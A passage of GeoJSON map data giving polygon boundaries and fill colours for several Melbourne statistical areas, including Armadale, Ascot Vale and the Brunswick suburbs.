],[145.0143738,-37.7833786],[145.0143738,-37.7833595],[145.0144958,-37.78339],[145.0145874,-37.7828674],[145.0147247,-37.7820396],[145.0148315,-37.7813187],[145.0149078,-37.7809601],[145.0149231,-37.7808685],[145.0149231,-37.7807808],[145.0151672,-37.7793808],[145.0151978,-37.7791672],[145.0157776,-37.7791672],[145.0158539,-37.7787704],[145.0147247,-37.7786407],[145.0149689,-37.7773285],[145.0152435,-37.7759705],[145.0152435,-37.7758789],[145.0152588,-37.7757874],[145.015564,-37.7740898],[145.015564,-37.7739983],[145.0160675,-37.7740593],[145.016098,-37.7738304],[145.0161133,-37.7737198],[145.0162048,-37.7732086],[145.0162506,-37.7729073],[145.0162659,-37.7728195],[145.0162659,-37.7728081],[145.0162811,-37.7727585],[145.0163574,-37.7723083],[145.0164185,-37.7719078],[145.0164642,-37.7716179],[145.0164795,-37.7715378],[145.0164948,-37.7714081],[145.01651,-37.7713699],[145.0165863,-37.7709274],[145.0166016,-37.7708282],[145.0166626,-37.7704887],[145.0167389,-37.7700195],[145.0167694,-37.7698402],[145.016861,-37.7692986],[145.0169525,-37.7686501],[145.0170135,-37.7687073],[145.0174103,-37.7687492],[145.0175323,-37.7687073],[145.0176239,-37.7681885],[145.0177917,-37.7672081],[145.0166931,-37.7670975],[145.0168762,-37.7660179],[145.0170288,-37.7651291],[145.0181122,-37.7652397],[145.0192413,-37.765358],[145.0203705,-37.76548]]]}},{"type":"Feature","properties":{"SA2_NAME":"Armadale","polygonId":66,"SA3_NAME":"Stonnington - West","AREASQKM":2.1835,"fillColor":"#460A5D","strokeColor":"#460A5D","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[145.0116577,-37.8535805],[145.0117493,-37.8529472],[145.0119171,-37.8518791],[145.0119324,-37.851799],[145.0120239,-37.8511696],[145.0121613,-37.8502274],[145.0122223,-37.8498688],[145.0122986,-37.849369],[145.0123138,-37.8492775],[145.0124207,-37.8492889],[145.0154877,-37.8497086],[145.016861,-37.8498878],[145.0177765,-37.8500099],[145.0182648,-37.8500786],[145.0188751,-37.8501587],[145.0197296,-37.8502693],[145.0202942,-37.850338],[145.020462,-37.8503609],[145.0214386,-37.8504906],[145.0225983,-37.8506393],[145.0237274,-37.8507881],[145.0241394,-37.8508377],[145.0248413,-37.8509407],[145.0254364,-37.8510208],[145.026886,-37.8512077],[145.0275574,-37.8512878],[145.0279083,-37.8513374],[145.0285645,-37.851429],[145.02948,-37.8515472],[145.0296631,-37.8515701],[145.0300446,-37.8516197],[145.0299835,-37.8520279],[145.0299072,-37.85252],[145.0297394,-37.8535385],[145.0295715,-37.8547287],[145.0294189,-37.8557205],[145.0292816,-37.8566208],[145.0292206,-37.857029],[145.0291901,-37.8571091],[145.0291595,-37.857338],[145.0291595,-37.8573685],[145.0290527,-37.8580208],[145.0289307,-37.8587875],[145.0289001,-37.8589287],[145.0287933,-37.8596001],[145.0287323,-37.8599281],[145.0286407,-37.8604584],[145.0285797,-37.8608284],[145.0284882,-37.8614197],[145.0283356,-37.8623695],[145.0281525,-37.8634605],[145.0280304,-37.8642387],[145.0279999,-37.8643379],[145.0279541,-37.8646507],[145.0278778,-37.8651199],[145.0278473,-37.8653107],[145.0276794,-37.8663101],[145.0271301,-37.8660774],[145.0267639,-37.8659096],[145.026062,-37.8656082],[145.02565,-37.8654289],[145.0251465,-37.8652077],[145.0241699,-37.8647804],[145.0231781,-37.8643494],[145.0223083,-37.8639603],[145.0222015,-37.8639183],[145.0206146,-37.8632278],[145.0204926,-37.8631706],[145.019455,-37.8627205],[145.0188293,-37.8624496],[145.0180206,-37.8620987],[145.0169983,-37.8616486],[145.0157928,-37.8611183],[145.015213,-37.8608704],[145.0151215,-37.8608398],[145.0136108,-37.86063],[145.0133972,-37.8605995],[145.0127258,-37.860508],[145.0117798,-37.8603897],[145.0105133,-37.860218],[145.0106964,-37.8591805],[145.0108643,-37.8582001],[145.0108795,-37.85812],[145.0109406,-37.8577805],[145.0109711,-37.8576508],[145.0112457,-37.85606],[145.0114899,-37.8546906],[145.0115509,-37.8543091],[145.0116119,-37.8539085],[145.0116577,-37.8535805]]]}},{"type":"Feature","properties":{"SA2_NAME":"Ascot Vale","polygonId":44,"SA3_NAME":"Essendon","AREASQKM":3.8361,"fillColor":"#460C5F","strokeColor":"#460C5F","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.8994141,-37.7703972],[144.899765,-37.7702789],[144.9006042,-37.7701073],[144.9009399,-37.7700195],[144.9024963,-37.7701988],[144.903595,-37.7703285],[144.9040833,-37.7703781],[144.9051971,-37.7705078],[144.9066315,-37.770668],[144.907486,-37.7707672],[144.90802,-37.7708282],[144.908844,-37.7709198],[144.9091492,-37.7709503],[144.9100494,-37.7710495],[144.9102936,-37.77108],[144.9106598,-37.7711182],[144.9111328,-37.7711678],[144.9114227,-37.7711983],[144.9125214,-37.771328],[144.913681,-37.7714577],[144.9148102,-37.7715797],[144.9150238,-37.7715988],[144.9154816,-37.7716599],[144.9161682,-37.7717285],[144.9167328,-37.7717896],[144.9180908,-37.7719383],[144.9183502,-37.7719688],[144.9195557,-37.7720985],[144.920639,-37.7722092],[144.9219208,-37.7723503],[144.9231567,-37.77248],[144.9239197,-37.7725601],[144.9252625,-37.7726974],[144.9263153,-37.7728081],[144.9264374,-37.7728195],[144.9269257,-37.7727585],[144.9268799,-37.7726288],[144.9272614,-37.7725983],[144.9274292,-37.7725792],[144.9276428,-37.7725983],[144.9302521,-37.7728806],[144.9303284,-37.7728882],[144.9319916,-37.7730598],[144.9320831,-37.7730675],[144.9336548,-37.7732391],[144.934021,-37.7732773],[144.9344025,-37.7733192],[144.9345856,-37.7733307],[144.9347534,-37.7733498],[144.9349518,-37.7733803],[144.9351501,-37.7734184],[144.9357605,-37.7735786],[144.9364777,-37.7737885],[144.9364166,-37.7738609],[144.9363251,-37.7741089],[144.9363251,-37.774189],[144.9363556,-37.774498],[144.9364929,-37.7757187],[144.936554,-37.7760773],[144.9365692,-37.7762108],[144.9366302,-37.7764702],[144.9367065,-37.7767181],[144.9368134,-37.7770996],[144.9368744,-37.7772102],[144.9370728,-37.7777672],[144.9356689,-37.7776108],[144.9349365,-37.7775192],[144.9348602,-37.7775574],[144.933609,-37.7774086],[144.9336395,-37.7774391],[144.9330139,-37.777359],[144.9324799,-37.777298],[144.9321136,-37.7772598],[144.9316101,-37.7771988],[144.9312592,-37.7771606],[144.9309235,-37.7771301],[144.9307556,-37.7771072],[144.9302368,-37.77705],[144.9300842,-37.7770309],[144.9303589,-37.77742],[144.9304047,-37.7774887],[144.9299011,-37.7777596],[144.9301453,-37.7781372],[144.9303589,-37.7784691],[144.9306183,-37.77882],[144.9310455,-37.7793694],[144.9312897,-37.7796593],[144.9315948,-37.7800407],[144.932312,-37.7809105],[144.9317169,-37.7808495],[144.9316559,-37.7812004],[144.9316406,-37.781208],[144.9312592,-37.7811699],[144.9312286,-37.7813492],[144.9312286,-37.7813683],[144.9311829,-37.7813606],[144.9310303,-37.7813492],[144.931015,-37.7813187],[144.9307709,-37.7812996],[144.9307404,-37.7811279],[144.9307404,-37.7810783],[144.930481,-37.7810593],[144.9304504,-37.7812576],[144.9303894,-37.7815285],[144.930191,-37.7815094],[144.9297638,-37.7814598],[144.9296417,-37.7814484],[144.9296722,-37.7811775],[144.9296875,-37.7811508],[144.9295502,-37.7811394],[144.9295654,-37.7810783],[144.9293365,-37.7810593],[144.9293518,-37.7809601],[144.9292755,-37.7809486],[144.9290771,-37.7809296],[144.9289551,-37.7809105],[144.9288483,-37.7808876],[144.9284973,-37.7808609],[144.928421,-37.7808495],[144.9284058,-37.7809677],[144.9283295,-37.7809601],[144.928299,-37.7811089],[144.9282532,-37.7810898],[144.9282532,-37.7810173],[144.9279938,-37.7809982],[144.9278717,-37.7809792],[144.9278107,-37.7809792],[144.927597,-37.7809486],[144.9275818,-37.7810898],[144.927063,-37.7806091],[144.9267731,-37.7806702],[144.9266968,-37.7806778],[144.9266815,-37.7806587],[144.9266663,-37.7806396],[144.9266357,-37.7805977],[144.9266205,-37.7805786],[144.9266205,-37.7805672],[144.9266052,-37.7805595],[144.92659,-37.7805405],[144.92659,-37.780529],[144.9265594,-37.7805099],[144.9265594,-37.7804985],[144.9265442,-37.7804794],[144.9265442,-37.7804794],[144.9265289,-37.7804604],[144.9265289,-37.7804604],[144.9264221,-37.7803192],[144.9261322,-37.7802887],[144.9251709,-37.7801971],[144.9251099,-37.7805481],[144.9244995,-37.7804909],[144.9244537,-37.7808304],[144.9238434,-37.7807693],[144.9237518,-37.7807693],[144.9232941,-37.7807198],[144.9233551,-37.7803993],[144.9232788,-37.7803879],[144.9232788,-37.7804184],[144.9231873,-37.7804108],[144.9230347,-37.7803993],[144.9229584,-37.7803879],[144.9225922,-37.7803497],[144.9225006,-37.78088],[144.9224091,-37.7813492],[144.9223633,-37.7816582],[144.9222717,-37.7822495],[144.922226,-37.7825089],[144.9221802,-37.7827492],[144.9221497,-37.7829704],[144.9220276,-37.7837105],[144.9205627,-37.78368],[144.9203339,-37.7836685],[144.9193115,-37.783638],[144.9176025,-37.7836075],[144.9173126,-37.7833099],[144.9169617,-37.7829399],[144.9159698,-37.781868],[144.9151001,-37.7809601],[144.9148102,-37.7806587],[144.9147339,-37.7805786],[144.9145203,-37.7803879],[144.9135742,-37.7793884],[144.9116516,-37.7805176],[144.9108429,-37.7809906],[144.9082336,-37.7825279],[144.9082184,-37.7825584],[144.9081116,-37.7826805],[144.9079895,-37.7828178],[144.9078827,-37.7829399],[144.9077606,-37.7830887],[144.9075928,-37.7833176],[144.9074554,-37.7835388],[144.9073029,-37.7837906],[144.9071655,-37.7840309],[144.9070435,-37.7842903],[144.9069366,-37.7845383],[144.9068298,-37.7847977],[144.9067535,-37.785038],[144.9066925,-37.7852783],[144.9066315,-37.7855492],[144.9065399,-37.7860184],[144.9064636,-37.7868385],[144.9063263,-37.7873878],[144.904953,-37.7871475],[144.9049377,-37.7872086],[144.9048615,-37.787468],[144.9048309,-37.78759],[144.9048004,-37.7876396],[144.9046936,-37.7879105],[144.9045563,-37.7881699],[144.9044037,-37.7884598],[144.9042511,-37.7887077],[144.904007,-37.7889481],[144.9035339,-37.7892799],[144.90271,-37.78965],[144.90271,-37.7895279],[144.90271,-37.7893906],[144.9027557,-37.7892075],[144.9028168,-37.7890091],[144.9029694,-37.7887077],[144.9031067,-37.7884483],[144.9033203,-37.7880478],[144.9035034,-37.7876892],[144.9035797,-37.7874298],[144.9036255,-37.7872391],[144.9036407,-37.7870483],[144.903656,-37.786808],[144.9036713,-37.7867088],[144.9037018,-37.7865105],[144.9037476,-37.7863083],[144.9037933,-37.7861595],[144.9038696,-37.7859993],[144.9039917,-37.7858086],[144.904068,-37.7856178],[144.9040833,-37.7854385],[144.9041138,-37.7853088],[144.9040833,-37.7850876],[144.9040222,-37.7847404],[144.9039764,-37.7845802],[144.9038239,-37.7843895],[144.903656,-37.7842178],[144.9034729,-37.7840691],[144.9033051,-37.7839699],[144.9030914,-37.7838402],[144.9028931,-37.7837105],[144.9026642,-37.7835274],[144.9023895,-37.7832794],[144.9021912,-37.7831078],[144.9021149,-37.7830505],[144.9017639,-37.7827797],[144.9015198,-37.782608],[144.9012146,-37.7824402],[144.9009399,-37.782299],[144.9007111,-37.7821999],[144.9003906,-37.7820587],[144.9001312,-37.781929],[144.8998413,-37.7817688],[144.8995209,-37.7815895],[144.8992462,-37.7813988],[144.8990021,-37.7812386],[144.8987732,-37.7811089],[144.8984833,-37.7809677],[144.8981018,-37.7807503],[144.8979187,-37.7806091],[144.8977051,-37.7803574],[144.897522,-37.7800598],[144.8973236,-37.7797203],[144.8972015,-37.779438],[144.8971405,-37.7792282],[144.89711,-37.7789879],[144.8970795,-37.7787285],[144.8970795,-37.7787094],[144.8970642,-37.7784576],[144.897049,-37.7783585],[144.8970337,-37.7780304],[144.8969574,-37.77771],[144.8968811,-37.777298],[144.8968201,-37.7769585],[144.8967133,-37.7765808],[144.8966522,-37.7763786],[144.8965912,-37.7761879],[144.8964996,-37.7759476],[144.8962402,-37.7753983],[144.8961639,-37.7751808],[144.8961029,-37.77491],[144.8960419,-37.7746506],[144.8959961,-37.7744102],[144.8959808,-37.7742386],[144.8959198,-37.7739182],[144.8959045,-37.7736588],[144.8958893,-37.7734909],[144.8958588,-37.7733994],[144.8958435,-37.7732506],[144.8958588,-37.7730484],[144.8959503,-37.7728081],[144.8961792,-37.77248],[144.8964233,-37.7721596],[144.8968201,-37.7717896],[144.8971863,-37.7715302],[144.8976288,-37.7712479],[144.8979797,-37.7710381],[144.8984833,-37.7707901],[144.8989105,-37.7705803],[144.8994141,-37.7703972]]]}},{"type":"Feature","properties":{"SA2_NAME":"Brunswick","polygonId":36,"SA3_NAME":"Brunswick - Coburg","AREASQKM":5.1425,"fillColor":"#472D7B","strokeColor":"#472D7B","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9497375,-37.7627602],[144.9500122,-37.7610474],[144.9501801,-37.7601585],[144.9503174,-37.7593079],[144.9500732,-37.7592773],[144.9501495,-37.7589302],[144.9503021,-37.7580872],[144.9504242,-37.75737],[144.9506531,-37.7562294],[144.9506531,-37.7561874],[144.9506683,-37.7561607],[144.9506836,-37.7561188],[144.9506836,-37.7560997],[144.9506989,-37.7560692],[144.9507294,-37.7560501],[144.9507294,-37.7560387],[144.9507599,-37.7560081],[144.9507904,-37.7559776],[144.9508057,-37.7559586],[144.9508209,-37.7559509],[144.9508514,-37.7559204],[144.9508667,-37.755909],[144.9509125,-37.7558899],[144.950943,-37.7558708],[144.9510193,-37.7558403],[144.9511871,-37.7557793],[144.9516907,-37.755619],[144.9519196,-37.7555389],[144.9522095,-37.7554283],[144.9527283,-37.7552109],[144.9532013,-37.7550087],[144.9532623,-37.7549706],[144.9533997,-37.7548904],[144.9535065,-37.7547989],[144.953598,-37.7546997],[144.9536896,-37.7545586],[144.9538269,-37.7543182],[144.9538574,-37.7542305],[144.9539642,-37.7542381],[144.9548035,-37.7543373],[144.9557648,-37.7544479],[144.9564514,-37.754528],[144.9567413,-37.7545586],[144.9575195,-37.7546577],[144.9582214,-37.7547379],[144.9587097,-37.7547989],[144.9590607,-37.7548409],[144.960083,-37.7549591],[144.9615326,-37.7551308],[144.961731,-37.7551498],[144.9621735,-37.7551994],[144.9638824,-37.7554092],[144.9641113,-37.7554474],[144.9648132,-37.7555389],[144.9659882,-37.7556801],[144.9673615,-37.7558289],[144.967514,-37.7558479],[144.9681091,-37.755909],[144.9694061,-37.7560577],[144.9703979,-37.7561684],[144.9711304,-37.7562485],[144.9723206,-37.7563782],[144.9733124,-37.7564888],[144.9739227,-37.7565575],[144.9740295,-37.7565689],[144.9748535,-37.7566605],[144.9761047,-37.7568092],[144.9766083,-37.7568703],[144.9769745,-37.7569199],[144.9766235,-37.7590103],[144.9757538,-37.7589073],[144.9751282,-37.7588272],[144.9751282,-37.7588387],[144.9750977,-37.7588272],[144.9745026,-37.7587585],[144.9739532,-37.7586975],[144.9739075,-37.7590103],[144.9738922,-37.7591286],[144.9738617,-37.7592087],[144.9740753,-37.7592278],[144.9740601,-37.7592697],[144.9740295,-37.7594604],[144.9739838,-37.7597389],[144.9738159,-37.7597198],[144.9736176,-37.7608681],[144.973587,-37.7609978],[144.9734955,-37.7611008],[144.9733429,-37.7620277],[144.9733887,-37.7620392],[144.973053,-37.7638702],[144.973053,-37.7639008],[144.9729309,-37.7645493],[144.9727936,-37.7653198],[144.9727325,-37.7657585],[144.97258,-37.7665482],[144.97229,-37.7681274],[144.9721832,-37.7687683],[144.972168,-37.7688904],[144.9719696,-37.7699394],[144.9718628,-37.7705574],[144.9717102,-37.7714005],[144.9716492,-37.7717781],[144.9716187,-37.7719307],[144.9716034,-37.7720299],[144.9714966,-37.7726593],[144.9713745,-37.7733879],[144.9712677,-37.7740974],[144.9712067,-37.7744789],[144.9711304,-37.7749596],[144.9711304,-37.7750092],[144.9710083,-37.7757683],[144.9710388,-37.7758598],[144.9709473,-37.7765198],[144.9709167,-37.7767181],[144.9708405,-37.7772408],[144.9706879,-37.7782898],[144.9705811,-37.7789001],[144.97052,-37.7792778],[144.9689941,-37.7790985],[144.9680939,-37.7792282],[144.9676361,-37.7793083],[144.9677124,-37.7789383],[144.9672089,-37.7788773],[144.9659729,-37.7787399],[144.9651794,-37.7786407],[144.9639435,-37.7784882],[144.9633331,-37.7784195],[144.9624786,-37.7783089],[144.9616241,-37.7782097],[144.9614716,-37.7781906],[144.9602203,-37.778038],[144.9598999,-37.7779999],[144.959259,-37.7779198],[144.9580841,-37.7777786],[144.9564514,-37.7775879],[144.9551239,-37.77742],[144.9541626,-37.7773094],[144.9531403,-37.7771873],[144.9523926,-37.7770882],[144.9516602,-37.7770081],[144.9502869,-37.7768402],[144.949646,-37.7767601],[144.9494324,-37.7767372],[144.9494019,-37.7767296],[144.9487915,-37.7756882],[144.9488831,-37.7751579],[144.9489594,-37.7747002],[144.9491425,-37.773838],[144.9493256,-37.7728271],[144.9495544,-37.7716103],[144.9498444,-37.7701492],[144.9492798,-37.7700806],[144.948761,-37.7700195],[144.9485321,-37.769989],[144.9486389,-37.7693596],[144.9487,-37.7690277],[144.9488525,-37.7681999],[144.9488678,-37.7681198],[144.9489594,-37.7675972],[144.9490051,-37.7672882],[144.9491425,-37.76651],[144.949295,-37.7654877],[144.9493713,-37.7650604],[144.9494019,-37.7647896],[144.9494171,-37.7646675],[144.9494324,-37.7645874],[144.9494324,-37.7645683],[144.9497375,-37.7627602]]]}},{"type":"Feature","properties":{"SA2_NAME":"Brunswick East","polygonId":37,"SA3_NAME":"Brunswick - Coburg","AREASQKM":2.168,"fillColor":"#472D7B","strokeColor":"#472D7B","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9733887,-37.7620392],[144.9733429,-37.7620277],[144.9734955,-37.7611008],[144.973587,-37.7609978],[144.9736176,-37.7608681],[144.9738159,-37.7597198],[144.9739838,-37.7597389],[144.9740295,-37.7594604],[144.9740601,-37.7592697],[144.9740753,-37.7592278],[144.9738617,-37.7592087],[144.9738922,-37.7591286],[144.9739075,-37.7590103],[144.9739532,-37.7586975],[144.9745026,-37.7587585],[144.9750977,-37.7588272],[144.9751282,-37.7588387],[144.9751282,-37.7588272],[144.9757538,-37.7589073],[144.9766235,-37.7590103],[144.9769745,-37.7569199],[144.977829,-37.757019],[144.9785004,-37.7570992],[144.9794922,-37.7572098],[144.9796906,-37.7572403],[144.9798431,-37.7572594],[144.9801636,-37.7572899],[144.9802094,-37.7574196],[144.9802551,-37.7576981],[144.9804535,-37.7580376],[144.9806366,-37.7583275],[144.9808502,-37.75877],[144.9809418,-37.7588882],[144.9811401,-37.7591896],[144.9813843,-37.7595482],[144.9816132,-37.7599106],[144.9818573,-37.7603073],[144.9820862,-37.7606277],[144.9824982,-37.7609596],[144.9828339,-37.7612572],[144.9830322,-37.7614174],[144.9831543,-37.7615585],[144.983139,-37.7618179],[144.9830322,-37.7619476],[144.9828491,-37.7620506],[144.9826202,-37.7621078],[144.9824677,-37.7621574],[144.9821014,-37.7621307],[144.9818573,-37.7621384],[144.9815674,-37.7622108],[144.981369,-37.7623787],[144.981369,-37.7626305],[144.9814453,-37.7628288],[144.9815521,-37.762989],[144.9816895,-37.7631989],[144.9819183,-37.7633896],[144.9822693,-37.763588],[144.9824982,-37.7636375],[144.983078,-37.7636604],[144.9835205,-37.7637978],[144.9836426,-37.7638397],[144.9838257,-37.7639809],[144.9838867,-37.7641106],[144.9839783,-37.7646484],[144.9841919,-37.7649574],[144.9842834,-37.765049],[144.9843445,-37.7651291],[144.9848022,-37.7654076],[144.9852142,-37.765728],[144.9854889,-37.7660103],[144.9855499,-37.7661972],[144.9855652,-37.7664185],[144.9851532,-37.766819],[144.9848938,-37.7669373],[144.9847717,-37.7669792],[144.9845123,-37.767189],[144.9844666,-37.7673302],[144.9844666,-37.7675095],[144.9844513,-37.7677383],[144.9844055,-37.7681808],[144.9843597,-37.7685089],[144.9842529,-37.7691498],[144.9842224,-37.7694206],[144.9842224,-37.769558],[144.9842072,-37.7696609],[144.9841461,-37.7697983],[144.9841614,-37.7700996],[144.9841919,-37.7703285],[144.9842529,-37.7707405],[144.9844513,-37.7712288],[144.9845123,-37.7713394],[144.9848633,-37.7716789],[144.9850311,-37.7719002],[144.9854279,-37.7722473],[144.9855347,-37.7723579],[144.9857788,-37.7725983],[144.9861603,-37.7729301],[144.9864502,-37.7732277],[144.9866333,-37.773468],[144.9868011,-37.7737083],[144.9868317,-37.773838],[144.9868622,-37.7743683],[144.9867096,-37.7743492],[144.9866028,-37.7744293],[144.9858398,-37.7743378],[144.9857635,-37.7743797],[144.9851837,-37.7743073],[144.9833832,-37.7740898],[144.9833984,-37.7739372],[144.9824524,-37.773838],[144.9816284,-37.7737503],[144.9815063,-37.7737389],[144.9811096,-37.7737007],[144.9808655,-37.7736702],[144.9806824,-37.7736473],[144.9803925,-37.7736206],[144.9797211,-37.7735481],[144.979187,-37.7734909],[144.9790039,-37.774559],[144.9789429,-37.7748985],[144.9788818,-37.7752991],[144.9788513,-37.7754478],[144.978714,-37.7762489],[144.9785614,-37.7772179],[144.9784088,-37.7780609],[144.978241,-37.779068],[144.9782104,-37.7792282],[144.9782104,-37.7794075],[144.9782104,-37.7794991],[144.9781952,-37.7795906],[144.9781494,-37.7798691],[144.9781189,-37.7800674],[144.9781036,-37.7801971],[144.9774017,-37.7801208],[144.9768982,-37.7800598],[144.9752502,-37.7798576],[144.9746857,-37.779789],[144.9734802,-37.7796402],[144.9733276,-37.7796173],[144.9727631,-37.7795486],[144.971283,-37.7793808],[144.97052,-37.7792778],[144.9705811,-37.7789001],[144.9706879,-37.7782898],[144.9708405,-37.7772408],[144.9709167,-37.7767181],[144.9709473,-37.7765198],[144.9710388,-37.7758598],[144.9710083,-37.7757683],[144.9711304,-37.7750092],[144.9711304,-37.7749596],[144.9712067,-37.7744789],[144.9712677,-37.7740974],[144.9713745,-37.7733879],[144.9714966,-37.7726593],[144.9716034,-37.7720299],[144.9716187,-37.7719307],[144.9716492,-37.7717781],[144.9717102,-37.7714005],[144.9718628,-37.7705574],[144.9719696,-37.7699394],[144.972168,-37.7688904],[144.9721832,-37.7687683],[144.97229,-37.7681274],[144.97258,-37.7665482],[144.9727325,-37.7657585],[144.9727936,-37.7653198],[144.9729309,-37.7645493],[144.973053,-37.7639008],[144.973053,-37.7638702],[144.9733887,-37.7620392]]]}},{"type":"Feature","properties":{"SA2_NAME":"Brunswick West","polygonId":38,"SA3_NAME":"Brunswick - Coburg","AREASQKM":3.1795,"fillColor":"#472E7C","strokeColor":"#472E7C","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9340668,-37.7596893],[144.9340515,-37.7595596],[144.9339905,-37.7594986],[144.9338074,-37.759388],[144.933609,-37.7592773],[144.9331665,-37.7590179],[144.9330139,-37.7588882],[144.9329834,-37.7588577],[144.9329681,-37.7587776],[144.9329529,-37.7587204],[144.9329681,-37.7586479],[144.9329987,-37.7585907],[144.9330292,-37.7585373],[144.9330597,-37.7584877],[144.9332428,-37.7583389],[144.9333191,-37.7583008],[144.9333496,-37.7582474],[144.9333801,-37.7582092],[144.9334106,-37.7581482],[144.9334259,-37.7580986],[144.9334412,-37.7580376],[144.9334564,-37.7579575],[144.9334412,-37.7578087],[144.9334412,-37.7577591],[144.9334564,-37.7577095],[144.9334717,-37.7576485],[144.9335022,-37.7575989],[144.9335327,-37.7575378],[144.9335785,-37.7574692],[144.933609,-37.7574272],[144.9337311,-37.757328],[144.9337921,-37.7572899],[144.9344177,-37.7569389],[144.9344482,-37.7569199],[144.934494,-37.7568779],[144.9345245,-37.7568398],[144.9345551,-37.7567978],[144.9345703,-37.7567101],[144.9345703,-37.7566681],[144.9345703,-37.7566299],[144.9345703,-37.756588],[144.9345093,-37.7564087],[144.9344635,-37.7562904],[144.934433,-37.7561989],[144.9343719,-37.7560997],[144.9342957,-37.7559891],[144.9342041,-37.7558594],[144.9341278,-37.7557602],[144.934021,-37.7556572],[144.9339142,-37.7555695],[144.9337921,-37.7554474],[144.9337311,-37.7553902],[144.93367,-37.7553291],[144.9336243,-37.755249],[144.933609,-37.7552109],[144.933609,-37.7551384],[144.933609,-37.7550697],[144.9336395,-37.7550087],[144.93367,-37.7549591],[144.9337006,-37.7549095],[144.9338684,-37.7547989],[144.9344177,-37.7545395],[144.9344788,-37.754509],[144.9346161,-37.7544174],[144.9346771,-37.7543793],[144.9347534,-37.7543182],[144.9348145,-37.7542572],[144.9348602,-37.7541885],[144.9348907,-37.7541199],[144.9349365,-37.7540474],[144.9349518,-37.7539787],[144.934967,-37.7539101],[144.9349976,-37.7537003],[144.9350433,-37.7534676],[144.9350128,-37.7533798],[144.9349518,-37.7532883],[144.9348907,-37.7532272],[144.9347992,-37.75317],[144.9347229,-37.7531281],[144.9346008,-37.7531204],[144.9345093,-37.753109],[144.9343719,-37.7531204],[144.9342041,-37.7531509],[144.934021,-37.7531891],[144.9338837,-37.7532005],[144.9337463,-37.7532005],[144.9335632,-37.7531776],[144.9333801,-37.7531281],[144.933197,-37.7530708],[144.9330292,-37.7529907],[144.9328156,-37.7528801],[144.932663,-37.752758],[144.9325562,-37.7526474],[144.9324951,-37.7526207],[144.9324188,-37.7526093],[144.932373,-37.7526207],[144.932312,-37.7526283],[144.9322205,-37.7526779],[144.9321594,-37.7527885],[144.9321136,-37.7529602],[144.9320221,-37.7530708],[144.9319,-37.75317],[144.9318237,-37.7532005],[144.9317627,-37.7532196],[144.9317017,-37.7532387],[144.9316406,-37.7532501],[144.9315643,-37.7532578],[144.9314728,-37.7532806],[144.9314117,-37.7532883],[144.9313507,-37.7532997],[144.9312592,-37.7533188],[144.9311829,-37.7533493],[144.9310913,-37.7533798],[144.9309998,-37.7534409],[144.9309387,-37.753479],[144.9308777,-37.7535095],[144.9308014,-37.7535477],[144.9307098,-37.7536087],[144.9306335,-37.7536507],[144.930542,-37.7536583],[144.9304047,-37.7536278],[144.9303131,-37.7535782],[144.930191,-37.7534981],[144.9301147,-37.753418],[144.9300232,-37.7533302],[144.9299316,-37.7532272],[144.9298706,-37.7531281],[144.9297943,-37.7530289],[144.9297333,-37.7529488],[144.929657,-37.7528381],[144.9295807,-37.7527199],[144.9295502,-37.7526703],[144.9295502,-37.7526283],[144.9295197,-37.7525291],[144.9294739,-37.7523994],[144.9294586,-37.7522774],[144.9294434,-37.7521782],[144.9293976,-37.7519989],[144.9293518,-37.7519493],[144.9292908,-37.7519073],[144.9291534,-37.7518883],[144.9290771,-37.7519073],[144.9290009,-37.7519379],[144.9289246,-37.7520103],[144.9288788,-37.7520981],[144.9288025,-37.7522507],[144.9287415,-37.7523689],[144.9286804,-37.7524681],[144.9286041,-37.7525482],[144.9285278,-37.7525978],[144.9284515,-37.7526207],[144.928421,-37.7526207],[144.9283752,-37.7526093],[144.928299,-37.7525902],[144.9281464,-37.7525177],[144.9280396,-37.7524796],[144.9279327,-37.7524185],[144.9277496,-37.7523079],[144.9276886,-37.7522697],[144.9275818,-37.7522278],[144.9274597,-37.7521973],[144.9273376,-37.7521591],[144.9272156,-37.7521095],[144.9271088,-37.7520485],[144.9270325,-37.7519875],[144.9269714,-37.7519302],[144.9268951,-37.7518501],[144.9268951,-37.7518387],[144.9268799,-37.7518272],[144.9268799,-37.7518082],[144.9268799,-37.7517891],[144.9268646,-37.75177],[144.9268494,-37.7517281],[144.9268341,-37.7516975],[144.9268036,-37.7516403],[144.9267731,-37.7515984],[144.9267426,-37.7515678],[144.9267273,-37.7515182],[144.9267273,-37.7514877],[144.926712,-37.7514572],[144.9267273,-37.7513695],[144.9267731,-37.7512589],[144.9268036,-37.7512283],[144.9268188,-37.7512207],[144.9268494,-37.7511673],[144.9269409,-37.7510681],[144.9271393,-37.7510872],[144.9277802,-37.7511673],[144.9284973,-37.7512474],[144.9291534,-37.7513275],[144.9294891,-37.7513695],[144.9301147,-37.7514381],[144.931076,-37.7515488],[144.9320526,-37.7516708],[144.9333649,-37.7518196],[144.9338531,-37.7518806],[144.9343109,-37.7519302],[144.9345703,-37.7519608],[144.9351807,-37.7520409],[144.9360504,-37.75214],[144.9365234,-37.7521973],[144.9372406,-37.7522774],[144.937561,-37.7523193],[144.9376678,-37.7523308],[144.9378967,-37.7523499],[144.9382324,-37.752388],[144.9387207,-37.752449],[144.9408112,-37.7526894],[144.9419556,-37.7528305],[144.9424896,-37.7528877],[144.9434204,-37.7529984],[144.9446106,-37.7531281],[144.9457397,-37.7532692],[144.9462433,-37.7533302],[144.9476318,-37.7534981],[144.9479523,-37.7535286],[144.9485779,-37.7536087],[144.9494781,-37.7537079],[144.9499207,-37.7537575],[144.9503937,-37.7538185],[144.9509888,-37.7538872],[144.9511261,-37.7539101],[144.9521637,-37.7540283],[144.9533234,-37.754158],[144.9538574,-37.7542305],[144.9538269,-37.7543182],[144.9536896,-37.7545586],[144.953598,-37.7546997],[144.9535065,-37.7547989],[144.9533997,-37.7548904],[144.9532623,-37.7549706],[144.9532013,-37.7550087],[144.9527283,-37.7552109],[144.9522095,-37.7554283],[144.9519196,-37.7555389],[144.9516907,-37.755619],[144.9511871,-37.7557793],[144.9510193,-37.7558403],[144.950943,-37.7558708],[144.9509125,-37.7558899],[144.9508667,-37.755909],[144.9508514,-37.7559204],[144.9508209,-37.7559509],[144.9508057,-37.7559586],[144.9507904,-37.7559776],[144.9507599,-37.7560081],[144.9507294,-37.7560387],[144.9507294,-37.7560501],[144.9506989,-37.7560692],[144.9506836,-37.7560997],[144.9506836,-37.7561188],[144.9506683,-37.7561607],[144.9506531,-37.7561874],[144.9506531,-37.7562294],[144.